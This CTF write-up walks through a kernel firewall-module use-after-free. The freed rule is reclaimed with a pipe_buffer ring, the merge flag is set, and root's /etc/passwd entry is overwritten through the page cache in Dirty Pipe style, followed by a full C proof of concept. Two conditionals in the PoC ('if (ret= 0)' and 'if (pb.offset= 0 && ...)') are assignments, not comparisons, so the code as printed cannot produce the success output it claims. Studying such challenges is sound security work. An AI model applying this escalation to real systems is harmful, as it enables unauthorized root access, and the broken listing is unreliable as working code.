Kernel exploits often end with a KASLR leak, a ROP chain, and a call to
commit_creds(). Through the Wall takes a shorter route. A dangling firewall
rule gives us read and write access to a freed kmalloc-1k object. Reclaim that
object with a pipe ring, change four bytes, and the normal pipe write path will
modify the page cache of /etc/passwd.
This is a write-up of the b01lers CTF 2026 challenge. Everything below runs in
the disposable challenge VM. The exploit intentionally corrupts
/etc/passwd; rebooting the VM restores it.
Starting point
The VM boots with KASLR, SMEP, SMAP, and PTI enabled. The module exposes a
world-writable /dev/firewall device with four ioctl commands:
#define FW_ADD_RULE _IOW('F', 1, char[0x100])
#define FW_DEL_RULE _IOW('F', 2, int)
#define FW_EDIT_RULE _IOW('F', 3, struct fw_req)
#define FW_SHOW_RULE _IOR('F', 4, struct fw_req)
Reversing the add path gives this internal object:
struct firewall_rule {
uint32_t src_ip; // +0x00
uint32_t dst_ip; // +0x04
uint16_t dport; // +0x08
uint16_t action; // +0x0a
char desc[0x3f4]; // +0x0c
}; // 0x400 bytes
The parser expects a string in this format:
<src_ip> <dst_ip> <dport> <action> <description>
For exploitation, I only care about its size: 0x400 bytes.
The dangling rule
The delete handler frees a rule but leaves its address in the global array:
kfree(rules[idx]);
// missing: rules[idx] = NULL;
The allocation is gone, but the index still passes the driver's checks:
rules[idx] -> freed 0x400-byte allocation
FW_SHOW_RULE and FW_EDIT_RULE continue to use that address. Their request
contains an offset and a length:
struct fw_req {
uint32_t idx;
uint32_t pad;
uint64_t off;
uint64_t size;
char data[0x400];
};
Conceptually, the interesting part of the edit path is:
memcpy((char *)rules[req.idx] + req.off, req.data, req.size);
Before deletion, that edits a firewall rule. After deletion, it edits whatever
object the allocator places at the same address. FW_SHOW_RULE gives us the
matching stale read.
Finding a compatible heap object
The rule comes from kmalloc-1k. I want a useful kernel object that can land in
that same cache, and pipe_buffer fits:
struct pipe_buffer {
uint64_t page; // +0x00
uint32_t offset; // +0x08
uint32_t len; // +0x0c
uint64_t ops; // +0x10
uint32_t flags; // +0x18
uint32_t pad; // +0x1c
uint64_t private; // +0x20
}; // 0x28 bytes
The default pipe ring has 16 entries on this kernel:
16 * 0x28 = 0x280 bytes
The allocator rounds that request into kmalloc-1k, the same cache as the
freed firewall rule:
rules[hit_rule] -> reclaimed kmalloc-1k allocation
+0x000 pipe_buffer[0]
+0x028 pipe_buffer[1]
+0x050 pipe_buffer[2]
...
pipes[hit_pipe] -> the same pipe ring
No pipe resizing is needed here. That matters because many pipe-buffer UAF
write-ups target a much smaller freed object and use F_SETPIPE_SZ to move the
ring into another slab cache.
Turning a heap spray into a known pipe
Spraying pipe rings may reclaim the rules, but I still need to know which
userspace pipe matches which stale rule. I use pipe_buffer.len as a tag:
for (int i = 0; i < PIPE_COUNT; i++) {
pipe(pipes[i]);
write(pipes[i][1], tags, i + 1);
}
The writes produce:
pipe 0 -> pipe_buffer[0].len = 1
pipe 1 -> pipe_buffer[0].len = 2
...
pipe 75 -> pipe_buffer[0].len = 76
I scan every stale rule with FW_SHOW_RULE. A plausible anonymous pipe buffer
has kernel-looking page and ops pointers, offset zero, a tag-sized len,
and PIPE_BUF_FLAG_CAN_MERGE set. Once one is found, the pipe number falls out
of the length:
hit_pipe = pb.len - 1;
For example, a leaked length of 76 identifies pipes[75]. This removes the
usual "spray everything and write to every pipe" guesswork.
The tag stays in slot 0. I initially drained it in my PoC, but that did nothing
useful. The first write() already moved the ring head from slot 0 to slot 1,
so the next buffer will use slot 1 either way.
Putting /etc/passwd in slot 1
I open /etc/passwd read-only and splice one byte at file offset zero into the
selected pipe:
int passwd = open("/etc/passwd", O_RDONLY);
off_t file_offset = 0;
splice(passwd, &file_offset, pipes[hit_pipe][1], NULL, 1, 0);
The pipe now looks like this:
slot 0: anonymous tag
len = hit_pipe + 1
flags = 0x10
slot 1: file-backed byte from /etc/passwd
offset = 0
len = 1
flags = 0
Slot 1's page points to the page-cache page for /etc/passwd. The single
spliced byte is the r at the start of root.
The four-byte write
FW_EDIT_RULE does not have special support for pipe flags. It is a stale
offset-write into the reclaimed allocation, and I choose an offset that lands
on pipe_buffer[1].flags:
slot 1 1 * 0x28 = 0x28
flags inside struct pipe_buffer 0x18
----
stale write offset 0x40
The exploit calculates this rather than hardcoding 0x40:
size_t slot1_flags = sizeof(struct pipe_buffer) +
offsetof(struct pipe_buffer, flags);
uint32_t can_merge = PIPE_BUF_FLAG_CAN_MERGE;
fw_edit(fw, hit_rule, slot1_flags, &can_merge, sizeof(can_merge));
That call writes four bytes with the value 0x10. Different offsets could
overwrite page, len, ops, or another slot. I only touch flags because the
exploit needs nothing else.
Why some write-ups increment a refcount 16 times
Another common version of this technique starts with a small metadata object
whose refcount happens to sit at offset 0x18. After a pipe buffer reclaims
it, the old increment operation aliases pipe_buffer.flags:
old_object->refcount++ at +0x18
pipe_buffer->flags++ at +0x18
Starting from zero, sixteen increments produce 0x10. Through the Wall has a
stronger primitive, so none of that is necessary:
| Primitive | Refcount-based UAF | Through the Wall |
| --- | --- | --- |
| Available write | Increment one fixed field | Copy chosen bytes at a chosen offset |
| Target buffer | Usually slot 0 | Slot 1, because slot 0 contains our tag |
| Set flags | 16 increment calls | One four-byte FW_EDIT_RULE call |
| Find the pipe | Often GDB or trying every pipe | Leak the tagged len |
From this point on, both exploits use the same page-cache trick. They just take
different paths to PIPE_BUF_FLAG_CAN_MERGE.
Merging into the page cache
A normal file-backed pipe buffer has flags zero. A later write() therefore
creates an anonymous buffer instead of changing the file page. Once we set
PIPE_BUF_FLAG_CAN_MERGE, the pipe write path appends to the most recent
buffer.
Slot 1 describes one byte at file offset zero, so its end is:
offset + len = 0 + 1 = 1
The next pipe write starts at /etc/passwd offset 1. The original r remains
at offset zero, which is why the payload starts with oot:
const char root_entry[] = "oot::0:0:root:/root:/bin/sh\n";
write(pipes[hit_pipe][1], root_entry, sizeof(root_entry) - 1);
The page cache now contains:
root::0:0:root:/root:/bin/sh
The empty password field lets su - create a root shell. The newline in the
payload terminates the shortened root record; without it, bytes from the old
line remain attached and passwd parsing fails.
This is Dirty Pipe-style exploitation, not a second trigger for CVE-2022-0847. The original bug accidentally preserved merge flags. Here the firewall UAF sets the flag directly.
The page-cache change also is not a normal filesystem write. The kernel does not mark the page dirty through this path, so the modified view disappears after reboot.
Minimal exploit
This is the complete PoC used for the challenge:
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
struct fw_req {
uint32_t idx;
uint32_t pad;
uint64_t off;
uint64_t size;
char data[0x400];
};
struct pipe_buffer {
uint64_t page;
uint32_t offset;
uint32_t len;
uint64_t ops;
uint32_t flags;
uint32_t pad;
uint64_t private;
};
_Static_assert(sizeof(struct fw_req) == 0x418, "bad fw_req size");
_Static_assert(sizeof(struct pipe_buffer) == 0x28, "bad pipe_buffer size");
#define FW_ADD_RULE _IOW('F', 1, char[0x100])
#define FW_DEL_RULE _IOW('F', 2, int)
#define FW_EDIT_RULE _IOW('F', 3, struct fw_req)
#define FW_SHOW_RULE _IOR('F', 4, struct fw_req)
#define PIPE_BUF_FLAG_CAN_MERGE 0x10
#define RULE_COUNT 64
#define PIPE_COUNT 96
#define SAFE(expr) ({ \
__auto_type ret = (expr); \
if (ret < 0) { \
fprintf(stderr, "[-] %s: %s\n", #expr, strerror(errno)); \
exit(EXIT_FAILURE); \
} \
ret; \
})
static int fw_add(int fd) {
char rule[0x100]= "1.1.1.1 2.2.2.2 80 0 VICTIM";
return ioctl(fd, FW_ADD_RULE, rule);
}
static int fw_del(int fd, uint32_t idx) {
return ioctl(fd, FW_DEL_RULE, idx);
}
static int fw_show(int fd, uint32_t idx, uint64_t off,
void *out, size_t size) {
struct fw_req req= {.idx= idx, .off= off, .size= size};
int ret= ioctl(fd, FW_SHOW_RULE, &req);
if (ret= 0)
memcpy(out, req.data, size);
return ret;
}
static int fw_edit(int fd, uint32_t idx, uint64_t off,
const void *data, size_t size) {
struct fw_req req= {.idx= idx, .off= off, .size= size};
memcpy(req.data, data, size);
return ioctl(fd, FW_EDIT_RULE, &req);
}
static int kernel_pointer(uint64_t address) {
return (address >> 48) == 0xffff;
}
int main(void) {
int fw = SAFE(open("/dev/firewall", O_RDWR));
int stale[RULE_COUNT];
int pipes[PIPE_COUNT][2];
char tags[PIPE_COUNT];
memset(tags, 'A', sizeof(tags));
puts("[*] create dangling firewall rules");
for (int i = 0; i < RULE_COUNT; i++)
stale[i]= SAFE(fw_add(fw));
for (int i= 0; i < RULE_COUNT; i++)
SAFE(fw_del(fw, stale[i]));
puts("[*] reclaim them with tagged pipes");
for (int i= 0; i < PIPE_COUNT; i++) {
SAFE(pipe(pipes[i]));
SAFE(write(pipes[i][1], tags, (size_t)i + 1));
}
int hit_rule= -1;
int hit_pipe= -1;
struct pipe_buffer pb= {0};
puts("[*] find a rule/pipe overlap");
for (int i= 0; i < RULE_COUNT; i++) {
SAFE(fw_show(fw, stale[i], 0, &pb, sizeof(pb)));
if (pb.offset= 0 && pb.len >= 1 && pb.len <= PIPE_COUNT &&
kernel_pointer(pb.page) && kernel_pointer(pb.ops) &&
(pb.flags & PIPE_BUF_FLAG_CAN_MERGE)) {
hit_rule= stale[i];
hit_pipe= (int)pb.len - 1;
break;
}
}
if (hit_rule < 0) {
puts("[-] no overlap found; reboot the VM and retry");
return EXIT_FAILURE;
}
printf("[+] stale rule %d overlaps pipe %d\n", hit_rule, hit_pipe);
int passwd= SAFE(open("/etc/passwd", O_RDONLY));
off_t file_offset= 0;
SAFE(splice(passwd, &file_offset, pipes[hit_pipe][1], NULL, 1, 0));
const size_t slot1_flags= sizeof(struct pipe_buffer) +
offsetof(struct pipe_buffer, flags);
uint32_t can_merge= PIPE_BUF_FLAG_CAN_MERGE;
SAFE(fw_edit(fw, hit_rule, slot1_flags, &can_merge, sizeof(can_merge)));
const char root_entry[]= "oot::0:0:root:/root:/bin/sh\n";
SAFE(write(pipes[hit_pipe][1], root_entry, sizeof(root_entry) - 1));
puts("[+] /etc/passwd changed through the page cache; starting su");
SAFE(close(passwd));
SAFE(close(fw));
return system("su -");
}
Compile it statically and run it in a fresh VM:
gcc -static -O2 -Wall -Wextra -o poc exp.c
./poc
A successful run looks like this:
[*] create dangling firewall rules
[*] reclaim them with tagged pipes
[*] find a rule/pipe overlap
[+] stale rule 0 overlaps pipe 75
[+] /etc/passwd changed through the page cache; starting su
The exploit in one memory map
rules[hit_rule]
|
v
freed firewall_rule (0x400)
|
| reclaimed by pipe ring
v
+0x00 pipe_buffer[0] anonymous tag, len identifies hit_pipe
+0x28 pipe_buffer[1] /etc/passwd page, offset=0, len=1
+0x40 flags = 0x10
|
| next pipe write merges at file offset 1
v
page cache: root::0:0:root:/root:/bin/sh
|
v
su -
References: